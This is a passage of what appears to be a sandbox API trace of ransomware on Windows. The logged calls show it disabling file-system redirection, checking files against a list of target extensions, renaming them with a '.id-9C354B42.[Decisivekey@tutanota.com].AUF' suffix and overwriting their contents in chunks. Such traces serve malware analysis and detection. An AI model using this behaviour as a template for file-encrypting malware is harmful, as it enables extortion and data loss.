Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0225.399] lstrlenW (lpString=".dbf") returned 4 [0225.399] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0225.399] lstrlenW (lpString=".1cd") returned 4 [0225.399] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0225.399] lstrlenW (lpString=".jpg") returned 4 [0225.399] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 Thread: id = 14 os_tid = 0x6c0 [0203.828] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.828] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.828] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5ff58 | out: OldValue=0x2e5ff58*=0x0) returned 1 [0203.828] lstrlenW (lpString="kernel32.dll") returned 12 [0203.828] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.828] Sleep (dwMilliseconds=0x64) [0204.114] lstrcmpiW (lpString1=".ttf", lpString2=".AUF") returned 1 [0204.114] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0204.114] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0204.320] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1984228) returned 1 [0204.320] CloseHandle (hObject=0x18c) returned 1 [0204.320] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0204.320] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.320] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0204.320] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.320] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.320] lstrlenW (lpString=".doc") returned 4 [0204.320] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0204.320] lstrlenW (lpString=".docx") returned 5 [0204.320] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0204.320] lstrlenW (lpString=".pdf") returned 4 [0204.320] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0204.320] lstrlenW (lpString=".xls") returned 4 [0204.320] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0204.320] lstrlenW (lpString=".xlsx") returned 5 [0204.320] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0204.320] lstrlenW (lpString=".ppt") returned 4 [0204.321] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".zip") returned 4 [0204.321] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0204.321] lstrlenW (lpString=".rar") returned 4 [0204.321] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString=".bz2") returned 4 [0204.321] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString=".7z") returned 3 [0204.321] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".dbf") returned 4 [0204.321] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".1cd") returned 4 [0204.321] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".jpg") returned 4 [0204.321] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".doc") returned 4 [0204.321] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString=".docx") returned 5 [0204.321] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0204.321] lstrlenW (lpString=".pdf") returned 4 [0204.321] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString=".xls") returned 4 [0204.321] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0204.321] lstrlenW (lpString=".xlsx") returned 5 [0204.321] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0204.321] lstrlenW (lpString=".ppt") returned 4 [0204.321] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".zip") returned 4 [0204.321] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0204.321] lstrlenW (lpString=".rar") returned 4 [0204.321] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString=".bz2") returned 4 [0204.321] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString=".7z") returned 3 [0204.321] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".dbf") returned 4 [0204.321] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0204.321] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.321] lstrlenW (lpString=".1cd") returned 4 [0204.321] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0204.322] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0204.322] lstrlenW (lpString=".jpg") returned 4 [0204.322] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0204.322] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0204.322] lstrlenW (lpString="PptLR.cab") returned 9 [0204.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.477] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=70361744) returned 1 [0204.477] CloseHandle (hObject=0x17c) returned 1 [0204.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0204.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.477] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0204.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.478] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0204.478] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0204.478] ReadFile (in: hFile=0x17c, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.513] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0204.513] ReadFile (in: hFile=0x17c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.574] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0204.574] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0204.574] ReadFile (in: hFile=0x17c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.803] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.803] WriteFile (in: hFile=0x17c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0204.813] SetEndOfFile (hFile=0x17c) returned 1 [0204.815] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0204.815] WriteFile (in: hFile=0x17c, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.816] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0204.816] WriteFile (in: hFile=0x17c, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.816] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0204.816] WriteFile (in: hFile=0x17c, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.817] CloseHandle (hObject=0x17c) returned 1 [0205.893] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString=".doc") returned 4 [0205.894] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString=".docx") returned 5 [0205.894] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0205.894] lstrlenW (lpString=".pdf") returned 4 [0205.894] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString=".xls") returned 4 [0205.894] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString=".xlsx") returned 5 [0205.894] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0205.894] lstrlenW (lpString=".ppt") returned 4 [0205.894] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString=".zip") returned 4 [0205.894] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString=".rar") returned 4 [0205.894] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString=".bz2") returned 4 [0205.894] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0205.894] lstrlenW (lpString=".7z") returned 3 [0205.894] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0205.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString=".dbf") returned 4 [0205.894] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString=".1cd") returned 4 [0205.894] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0205.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString=".jpg") returned 4 [0205.894] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.894] lstrlenW (lpString=".doc") returned 4 [0205.894] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0205.894] lstrlenW (lpString=".docx") returned 5 [0205.894] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0205.895] lstrlenW (lpString=".pdf") returned 4 [0205.895] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0205.895] lstrlenW (lpString=".xls") returned 4 [0205.895] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0205.895] lstrlenW (lpString=".xlsx") returned 5 [0205.895] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0205.895] lstrlenW (lpString=".ppt") returned 4 [0205.895] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0205.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.895] lstrlenW (lpString=".zip") returned 4 [0205.895] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0205.895] lstrlenW (lpString=".rar") returned 4 [0205.895] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0205.895] lstrlenW (lpString=".bz2") returned 4 [0205.895] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0205.895] lstrlenW (lpString=".7z") returned 3 [0205.895] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0205.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.895] lstrlenW (lpString=".dbf") returned 4 [0205.895] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0205.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.895] lstrlenW (lpString=".1cd") returned 4 [0205.895] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0205.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0205.895] lstrlenW (lpString=".jpg") returned 4 [0205.896] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0205.896] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0205.896] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0205.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0205.896] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=2865664) returned 1 [0205.896] CloseHandle (hObject=0x17c) returned 1 [0205.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0205.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.896] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0205.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0205.897] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0205.897] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0205.897] ReadFile (in: hFile=0x17c, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.038] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0206.038] ReadFile (in: hFile=0x17c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.073] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0206.073] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0206.073] ReadFile (in: hFile=0x17c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.142] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0206.142] WriteFile (in: hFile=0x17c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0206.155] SetEndOfFile (hFile=0x17c) returned 1 [0206.155] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.155] WriteFile (in: hFile=0x17c, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.156] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.156] WriteFile (in: hFile=0x17c, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.160] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0206.160] WriteFile (in: hFile=0x17c, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.162] CloseHandle (hObject=0x17c) returned 1 [0206.456] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0206.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.456] lstrlenW (lpString=".doc") returned 4 [0206.456] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0206.456] lstrlenW (lpString=".docx") returned 5 [0206.456] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0206.456] lstrlenW (lpString=".pdf") returned 4 [0206.456] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0206.456] lstrlenW (lpString=".xls") returned 4 [0206.456] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".xlsx") returned 5 [0206.457] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0206.457] lstrlenW (lpString=".ppt") returned 4 [0206.457] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".zip") returned 4 [0206.457] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".rar") returned 4 [0206.457] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".bz2") returned 4 [0206.457] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString=".7z") returned 3 [0206.457] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".dbf") returned 4 [0206.457] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".1cd") returned 4 [0206.457] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".jpg") returned 4 [0206.457] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".doc") returned 4 [0206.457] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString=".docx") returned 5 [0206.457] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0206.457] lstrlenW (lpString=".pdf") returned 4 [0206.457] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".xls") returned 4 [0206.457] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".xlsx") returned 5 [0206.457] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0206.457] lstrlenW (lpString=".ppt") returned 4 [0206.457] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0206.457] lstrlenW 